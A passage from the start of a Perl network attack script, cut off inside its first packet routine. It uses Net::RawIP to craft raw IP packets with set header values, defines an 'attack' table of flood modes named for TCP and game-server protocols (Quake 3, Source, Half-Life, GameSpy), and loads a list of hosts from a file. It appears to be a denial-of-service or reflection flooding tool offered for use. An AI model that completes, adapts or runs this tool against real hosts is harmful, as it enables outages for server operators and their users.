#!/usr/bin/perl -w

use Benchmark;
use Net::RawIP;
use Time::HiRes qw ( usleep );

my $rand = int( rand 0x400 );
my $frag = 0;
my $doff = 0x05;
my $ttl  = 0xFF;
my $tos  = 0x08;
my $pid;
my $tx;
my @list;
my @running;
my @pids;

my %attack =
  ( "tcp" => \&tcp, "quake3" => \&quake3, "source" => \&source, "hl" => \&hl, "gs" => \&gs, "gs2" => \&gs2 );

if ( @ARGV < 7 || @ARGV > 7 ) {
    &usage();
    exit;
}

$tx = $ARGV[3];
my $t0 = new Benchmark;

print "\n*** Now Reading Hosts Into Array\n\n";

open( ELITE, $ARGV[2] ) || die "Unable to open $ARGV[2]!\n";
chomp( @list = <ELITE> );
close(ELITE);

sub tcp {
    my ( $ip, $port ) = @_;
    my $a = new Net::RawIP(